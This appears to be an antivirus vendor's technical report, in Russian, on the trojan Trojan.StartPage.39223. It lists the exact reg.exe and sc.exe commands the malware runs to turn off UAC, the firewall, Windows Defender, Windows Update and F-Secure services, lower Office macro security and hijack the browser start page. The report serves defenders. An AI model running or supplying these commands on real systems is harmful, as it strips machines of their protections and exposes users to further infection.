Trojan.StartPage.39223

Техническая информация

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Запускает на исполнение:

<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\11.0\Word\Security /V Level /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN" /V "start page" /D "http://ca######ethlehem.my3gb.com/index.htm" /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\11.0\Excel\Security /V Level /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\11.0\Access\Security /V Level /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile /v EnableFirewall /t reg_dowrd /d 0 /F
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v AllowElevatedProcess /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile /v EnableFirewall /t reg_dowrd /d 0 /F
<SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v HIDESCAHEALTH /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\11.0\PowerPoint\Security /V Level /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\14.0\Excel\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\14.0\Access\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\14.0\Word\Security /V AccessVBOM /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\14.0\PowerPoint\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\14.0\Word\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\12.0\Access\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\12.0\Word\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\12.0\PowerPoint\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\reg.exe ADD HKCU\SOFTWARE\MICROSOFT\Office\12.0\Excel\Security /V VBAWarnings /t REG_DWORD /d 1 /F
<SYSTEM32>\sc.exe stop FSMA
<SYSTEM32>\sc.exe stop FSDFWD
<SYSTEM32>\sc.exe stop "F-secure Gatekeeper handler starter"
<SYSTEM32>\sc.exe stop FSORSPclient
<SYSTEM32>\sc.exe stop windefend
<SYSTEM32>\sc.exe stop MpsSvc
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\Schedule.bat" "
<SYSTEM32>\sc.exe stop wuauserv
<SYSTEM32>\sc.exe stop SharedAccess
<SYSTEM32>\sc.exe delete FSDFWD
<SYSTEM32>\sc.exe delete windefend
<SYSTEM32>\sc.exe delete wuauserv
<SYSTEM32>\reg.exe Delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /F
<SYSTEM32>\reg.exe Delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /F
<SYSTEM32>\sc.exe delete SharedAccess
<SYSTEM32>\sc.exe delete FSORSPclient
<SYSTEM32>\sc.exe delete FSMA
<SYSTEM32>\sc.exe delete MpsSvc
<SYSTEM32>\sc.exe delete "F-secure Gatekeeper handler starter"